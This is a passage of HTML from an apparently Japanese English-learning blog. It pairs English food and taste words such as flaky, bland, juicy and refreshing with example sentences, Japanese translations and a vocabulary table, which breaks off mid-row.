<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L34.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff4d7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff4d7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">flaky</mark> pie crust breaks apart softly with each bite, giving it a light and delicate texture.</strong><br>サクサクのパイクラストは、ひと口ごとにほろっと崩れて、軽やかで繊細な食感を生み出すね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Greasy／Fatty：脂っこい</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L9.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Raul tries to avoid eating <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fatty</mark> foods as much as possible to maintain his figure for the upcoming fashion show.</strong><br>ラウールはもうすぐ開催されるファッションショーのために体型を維持すべく、脂っこい食べ物をなるべく食べないようにしているんだって</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Light：あっさり</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff8e4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff8e4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This salad has a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">light</mark> and refreshing taste with the homemade lemon dressing, perfect for a hot summer lunch.</strong><br>この自家製のレモンドレッシングがかかったサラダはあっさりさっぱりしていて暑い夏の日のランチにもってこいだね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Bland／Weak：味が薄い</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L36.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f7eeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f7eeff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The soup lacked umami, and was <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">bland</mark>, failing to elevate the ramen noodle.</strong><br>そのスープはうま味が足りない上に薄味で、ラーメンを引き立てられてないね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R26.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff6f0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff6f0"></span><span class="vk_balloon_content_after "></span>
<p><strong>The cocktail got<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"> weak </mark>with melted ice, so I added an extra vodoka for a stronger flavor.</strong><br>氷が溶けて薄くなったカクテルにウォッカを足して濃くしたんだ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Strong：味が濃い</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L5.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e4f5ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e4f5ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The coffee you brews was way too <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">strong </mark>for me, so I added some milk to mellow it out.</strong><br>君が入れてくれたコーヒーは俺には濃過ぎたからミルクを加えてまろやかにしたんだ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Burnt：焦げた</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L13.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff1e6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff1e6 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The patty were slightly <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">burnt,</mark> giving it a good smoky flavor.</strong><br>少し焦げたパティがハンバーガーにスモーキーな風味をプラスして美味しかったね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Juicy：ジューシー、肉汁滴るような</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L20.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffedf1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffedf1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The peaches I bought at the orchard was super <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">juicy </mark>with the combination of rich sweetness and a slightly sour juice dribbled down my chin when I bit into it.<br></strong>果樹園で買った桃はとってもジューシーで、一口かじると濃厚な甘さとほんのりと酸味のある果汁が滴り落ちたんだよ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Flavorful：風味豊かな</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L27.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff4ed"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff4ed transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This beef stew is simmered with wine and spices, creating a<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"> flavorful</mark> dish.<br></strong>このビーフシチューはスープとワインとスパイスで煮込まれて、風味豊かに仕上がってるね</p>
</div></div></div>



<h3 class="wp-block-heading">Fresh：新鮮な</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/plugins/vk-blocks-pro/inc/vk-blocks/images/avatar.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>This market offers a wide variety of <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fresh,</mark> morning-harvested veggies, fruits, and seafood.<br></strong>この市場は、朝採りした新鮮な野菜、果物、魚介類を豊富に取り揃えているんだよ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Refreshing：さっぱりした</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L4.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>A cold glass of lemonade is incredibly refreshing on a hot summer day.</strong><br>夏の暑い日の冷たいレモネードはヤバいくらいさっぱりするよね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Fruity：フルーティーな</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L39.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0fff3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0fff3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p>T<strong>he fruit punch has very <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fruity </mark>taste and was made with a mix of watermelon, berries and oranges.</strong><br>そのフルーツポンチは、スイカとベリー類とオレンジがミックスされたフルーティな味わいだったよ</p>
</div></div></div>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>


<table style="height: 3105px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>definitely</strong></td>
<td style="width: 62.9762%; border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">間違いなく</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>game-changer</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（味や体験の）常識を変えるもの、画期的なもの</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>totally</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">完全に、すっかり</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>create</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（味わいや雰囲気を）生み出す</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>vibrant</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">鮮やかな</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>jalapeño</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ハラペーニョ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>savory</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">風味豊か、塩気のある</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>starter</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">前菜、おつまみ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>a hint of</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ほんの少しの、隠し味の</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>crave</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜を無性に食べたくなる、切望する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>spicy</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">スパイシー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>sweet</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">スイート</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>tangy</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">酸味（ピリッとした刺激のある酸っぱさ）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>rib</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">リブ（骨付き肉）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>balance</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（味の）バランスをとる、調和させる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>shrimp bowl</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">シュリンプボウル</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>hit</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（味や刺激が）ガツンとくる、大成功</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>boldly</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">大胆に</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>citrus</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">柑橘系の</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>wing</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">手羽、ウィング</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>deliver</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（味や品質を）届ける、実現する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>zesty</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ピリッと刺激的な、風味の強い</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>a touch of</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ほんの少々の、アクセントの</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>fiery</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">火を噴くような、激辛の</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>kick</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（後味にくる）ピリッとした刺激</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>prosciutto</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">プロシュート。イタリア語で豚のもも肉のハム</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>nostalgic</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ノスタルジック、懐かしい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>blend</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（新旧などを）融合させる、混ぜ合わせる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>charm of</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜の魅力</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>old-school</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">昔ながらの</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>soda fountain</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">クリームソーダ（のサーバーがある場所）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>twist</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ひねり</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>harmonize</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（味を）調和させる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>hearty richness</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">心温まる濃厚さ、コク深い豊かな味わい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>finish</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">後味、仕上げ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 46px;"><strong>banana split</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 46px;">バナナスプリット。バナナを縦割りにし、3種のアイスとホイップ、チョコソース、チェリーを添えたアメリカ伝統のデザート</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>revive</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">（伝統などを）現代に蘇らせる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>classic diner treat</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">昔ながらのダイナー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>artisanal sauces</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">手作りソース、職人こだわりのソース</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>sleek</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">洗練された、なめらかな</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>bite</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">一口、かじること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>moist</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">しっとりとした</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>can&#8217;t handle</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜が苦手だ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>Thai</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">タイの</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>Sichuan</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">四川の</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>girls&#8217; night out</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">夜の女子会</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>extremely</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">極めて、非常に</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>penalty for losing the game</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ゲームに負けたペナルティで</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>craft beer</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">クラフトビール</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>linger</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">後に残る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>palate</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">口蓋</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>go well with</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">とあう</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>broth</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">だし</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>dried bonito flakes</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">鰹節</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>bring out</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜を引き出す</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>yuzu orange</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">柚子</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>rich</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">豊潤な</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>aromatic</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">香り高い</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>kick to</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">〜への刺激、アクセント</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>toasty</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">こんがり焼けたパンの香り</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>nutty</strong></td>
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;">ナッツ類を炒った香り</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="border-style: dotted; border-color: #f6c2cb; vertical-align: middle; height: 23px;"><strong>roasty</strong></td>
